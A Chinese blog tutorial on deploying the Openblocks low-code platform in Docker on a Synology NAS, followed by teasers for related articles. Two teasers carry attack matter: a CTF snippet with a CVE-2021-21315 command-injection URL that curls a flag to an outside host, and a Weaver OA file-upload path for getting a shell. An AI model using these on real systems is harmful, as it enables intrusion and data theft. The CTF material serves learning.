開源低代碼平臺Openblocks

在這里插入圖片描述

網友 Hank·Meng 想看低代碼工具,正好手上有一個;

什么是 Openblocks ?

Openblocks 是一個開發人員友好的開源低代碼平臺,可在幾分鐘內構建內部應用程序。

傳統上,構建內部應用程序需要復雜的前端和后端交互,涉及數百行和數千行代碼,更不用說打包、集成和部署工作了。Openblocks 顯著減少了構建應用程序所需的工作。

Openblocks 中,您所需要做的就是將預構建或自定義的組件以及可隨時連接的數據庫和 API 拖放到所見即所得 (WYSIWYG) 畫布上,Openblocks 幫助您快速構建應用程序并專注于業務邏輯。

構建內部應用程序基本上需要 5 個步驟:

  1. 快速連接到您的數據源,包括 PostgreSQLMongoDB 和在線 API
  2. 編寫幾行 SQL 或設置請求參數來構建查詢。
  3. 使用預構建或用戶自定義的 UI 組件來構建應用程序 UI,使用 UI 組件綁定和顯示查詢數據。
  4. 設置事件處理程序以觸發查詢、控制組件或其他操作以響應用戶交互。
  5. 預覽并與其他人分享您的應用程序。

安裝

在群暉上以 Docker 方式安裝。

在注冊表中搜索 openblocksdev ,選擇第一個 openblocksdev/openblocks-ce,版本選擇 latest

本文寫作時, latest 版本對應為 1.1.8;這是一個 all in one 的版本,里面包含了數據庫及前后端服務,非常適合于功能體驗;

docker 文件夾中,創建一個新文件夾 openblocks,并在其中建一個子文件夾 stacks

文件夾裝載路徑說明
docker/openblocks/stacks/openblocks-stacks 存放數據庫、日志等

端口

本地端口不沖突就行,不確定的話可以用命令查一下

# 查看端口占用
netstat -tunlp | grep 端口號
本地端口容器端口
30423000

環境

老蘇沒使用環境變量。關于環境變量的說明,請參考官方文檔:https://github.com/openblocks-dev/openblocks/blob/develop/deploy/docker/README.md#configuration

命令行安裝

如果你熟悉命令行,可能用 docker cli 更快捷

# 新建文件夾 openblocks 和 子目錄
mkdir -p /volume1/docker/openblocks/stacks# 進入 openblocks 目錄
cd /volume1/docker/openblocks# 運行容器
docker run -d \--restart unless-stopped \--name openblocks \-p 3042:3000 \-v $(pwd)/stacks:/openblocks-stacks \openblocksdev/openblocks-ce:latest

也可以用 docker-compose 安裝,將下面的內容保存為 docker-compose.yml 文件

version: '3'services:openblocks:image: openblocksdev/openblocks-ce:latestcontainer_name: openblocksrestart: unless-stoppedports:- 3042:3000volumes:- ./stacks:/openblocks-stacks

然后執行下面的命令

# 新建文件夾 openblocks 和 子目錄
mkdir -p /volume1/docker/openblocks/stacks# 進入 openblocks 目錄
cd /volume1/docker/openblocks# 將 docker-compose.yml 放入當前目錄# 一鍵啟動
docker-compose up -d

運行

在瀏覽器中輸入 http://群暉IP:3042 就能看到登錄界面

第一次需要注冊賬號

主界面

新建應用

簡單的拖拖拉拉之后,就搭出了一個登錄界面

當然這只是界面,還需要綁定數據庫,來實現業務,除了數據庫之外,也支持在線 API

具體用法可以看看官方文檔,還是比較詳細的:https://docs.openblocks.dev,

雖然老蘇不會開發,但用來做原型設計也是不錯的。不過需要注意的是,似乎目前的代碼更新已經不是很積極,不清楚是在憋大招還是程序員跑路了呢? 😂

參考文檔

openblocks-dev/openblocks: 🔥 🔥 🔥 The Open Source Retool Alternative
地址:https://github.com/openblocks-dev/openblocks/

Openblocks - Open-source low code platform
地址:https://openblocks.dev/

Self-hosting - Openblocks Docs
地址:https://docs.openblocks.dev/self-hosting

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/39043.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/39043.shtml
英文地址,請注明出處:http://en.pswp.cn/news/39043.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

如何保證微信小游戲存檔不丟失?

引言 微信小游戲的興起為玩家提供了一個輕松便捷的娛樂方式,然而,存檔丟失問題一直以來都是開發者和玩家關注的焦點。為了確保玩家的游戲體驗和投入能夠得到充分的保障,開發團隊需要采取一系列方法來保障微信小游戲存檔不丟失。本文將介紹一…

學習筆記十五:基于YUM文件運行POD應用

基于YUM文件運行POD應用 通過資源清單文件創建第一個Pod更新資源清單文件查看pod是否創建成功查看pod的ip和pod調度到哪個節點上假如pod里有多個容器,進入到pod里的指定容器查看pod詳細信息查看pod具有哪些標簽:刪除pod通過kubectl run創建Pod Pod資源清…

word之插入尾注+快速回到剛才編輯的地方

1-插入尾注 在編輯文檔時,經常需要對一段話插入一段描述或者附件鏈接等,使用腳注經常因占用篇幅較大導致文檔頁面內容雜亂,這事可以使用快捷鍵 ControlaltD 即可在 整個行文的末尾插入尾注,這樣文章整體干凈整潔,需…

【枚舉邊+MST+組合計數】CF1857G

Problem - 1857G - Codeforces 題意: 思路: 首先觀察一下樣例: 可以發現對于每一對點,貢獻是 s - 這對點對應的環的最大邊 1 那么這樣就有了 n^2 的做法 然后,根據慣用套路,枚舉樹上的點對問題可以轉…

Prometheus的搭建與使用

一、安裝Prometheus 官網下載地址:Download | Prometheus 解壓:tar -zxvf prometheus-2.19.2.linux-amd64.tar.gz重命名: mv prometheus-2.19.2.linux-amd64 /home/prometheus進入對應目錄: cd /home/prometheus查看配置文件&am…

淺析市面電商CRM系統|排單系統存在的不足

筆者做CRM尤其是電商CRM系統7年,相信我的分享能夠幫助大家對電商CRM有個清晰的認知。 系統本身是用來提升效率的,針對不少電商賣家或服務商,都有使用CRM系統來管理粉絲鏈接與營銷、銷售推廣等環節,來實現完整的CRM鏈路。尤其是在當…

OpenCV-Python中的圖像處理-傅里葉變換

OpenCV-Python中的圖像處理-傅里葉變換 傅里葉變換Numpy中的傅里葉變換Numpy中的傅里葉逆變換OpenCV中的傅里葉變換OpenCV中的傅里葉逆變換 DFT的性能優化不同濾波算子傅里葉變換對比 傅里葉變換 傅里葉變換經常被用來分析不同濾波器的頻率特性。我們可以使用 2D 離散傅里葉變…

2308C++對稱轉移

原文 了解對稱轉移 協程組提供了個編寫異步代碼的絕妙方法,與同步代碼一樣.只需要在合適地點加上協待,編譯器就會負責掛起協程,跨掛起點保留狀態,并在操作完成后恢復協程. 但是,最初有個令人討厭的限制,如果不小心,很容易導致棧溢出.如果想避免它,則必須引入額外同步成本,以…

Unity Spine幀事件

SpinePro中添加事件幀 首先 選中右上角的層級樹 然后選擇事件選項 最后在右下角看到 新建 點擊它 新建一個事件 點擊左上角的設置按鈕 彈出編輯窗口 編輯窗口 在右上角 動畫欄 可以切換對應的動畫 點坐邊的那個小灰點來切換 亮點代表當前動畫 選中幀 添加事件 點擊對應事件…

突破防線!泛微OA任意文件上傳Getshell

子曰:“巧言令色,鮮矣仁。” 漏洞復現 訪問漏洞url: 存在漏洞的路徑為 /weaver/weaver.common.Ctrl/.css?arg0com.cloudstore.api.service.Service_CheckApp&arg1validateApp漏洞利用: 漏洞證明: 文筆生疏&…

ubuntu 20.0.4 搭建nvidia 顯卡環境

一、安裝docker 1、安裝dokcer sudo apt install docker.io2、docker 添加到用戶組 創建docker用戶組 sudo groupadd docker添加當前用戶加入docker用戶組 sudo usermod -aG docker ${USER}重啟docker服務 sudo systemctl restart docker切換或者退出當前賬戶再從新登入 …

openGauss學習筆記-41 openGauss 高級數據管理-匿名塊

文章目錄 openGauss學習筆記-41 openGauss 高級數據管理-匿名塊41.1 語法41.2 參數說明41.3 示例 openGauss學習筆記-41 openGauss 高級數據管理-匿名塊 匿名塊(Anonymous Block)是存儲過程的字塊之一,沒有名稱。一般用于不頻繁執行的腳本或…

NPM與外部服務的集成(下)

目錄 1、撤消訪問令牌 2、在CI/CD工作流中使用私有包 2.1 創建新的訪問令牌 持續整合 持續部署 交互式工作流 CIDR白名單 2.2 將令牌設置為CI/CD服務器上的環境變量 2.3 創建并簽入特定于項目的.npmrc文件 2.4 令牌安全 3、Docker和私有模塊 3.1 背景:運…

了解異或的好處和用途

1.什么是異或? 異或:對于二進制,相同為0 不同為11 ⊕ 1 00 ⊕ 0 01 ⊕ 0 10 ⊕ 1 1 2.異或的好處? 異或的好處?1.快速比較兩個值 2.xor a a例如 a 3 011xor 0110003.可以使用 異或 來使某些特定的位翻轉【原因…

移遠RM500U-CN模塊直連嵌入式ubuntu實現撥號上網

目錄 1 平臺: 2 需要準備的資料 3 參考文檔 4 編譯環境與驅動移植 4.1 內核驅動添加廠家ID和產品ID 4. 2.添加零包處理 4.3 增加復位恢復機制 4.4 增加批量輸出 批量輸出 URB 的數量和容量 的數量和容量 4.5 內核配置與編譯 5 QM500U-CN撥號(在開…

Ubuntu和centos版本有哪些區別

Ubuntu和CentOS是兩個非常流行的Linux發行版,它們在一些方面有一些區別,如下所示: CentOS的版本發布周期相對較長,主要是因為它是基于RedHatEnterpriseLinux(RHEL)的。這意味著在RHEL發布后才能推出對應的CentOS版本。而Ubuntu則在…

春秋云鏡 CVE-2021-21315

春秋云鏡 CVE-2021-21315 systeminformation存在命令注入 靶標介紹 systeminformation是一個簡單的查詢系統和OS信息包。 啟動場景 漏洞利用 exp /api/osinfo?param[]$(curl%20-d%20/flag%20xxx.ceye.io)登錄ceye.io平臺,curl請求 http://eci-2zed871sr7xrdjb…

Lombok的使用及注解含義

文章目錄 一、簡介二、如何使用2.1、在IDEA中安裝Lombok插件2.2、添加maven依賴 三、常用注解3.1、Getter / Setter3.2、ToString3.3、NoArgsConstructor / AllArgsConstructor3.4、EqualsAndHashCode3.5、Data3.6、Value3.7、Accessors3.7.1、Accessors(chain true)3.7.2、Ac…

JavaScript 中常用簡寫技巧總結

平時我們寫代碼時最高級的境界是自己寫的東西別人看不懂!哈哈哈!分享一些自己常用的js簡寫技巧,長期更新,會著重挑選一些實用的簡寫技巧,使自己的代碼更簡潔優雅~ 這里只會收集一些大多數人不知道的用法,但…

MySQL新的版本發布模型 - 創新版本和長支持版本

2023年7月18日,MySQL發布了最新數據庫服務器版本8.1.0,其中變化最大的是MySQL采用了新的版本發布模型。本文是官方博客的中文摘抄和個人理解,原文更精彩: https://blogs.oracle.com/mysql/post/introducing-mysql-innovation-and-longterm-su…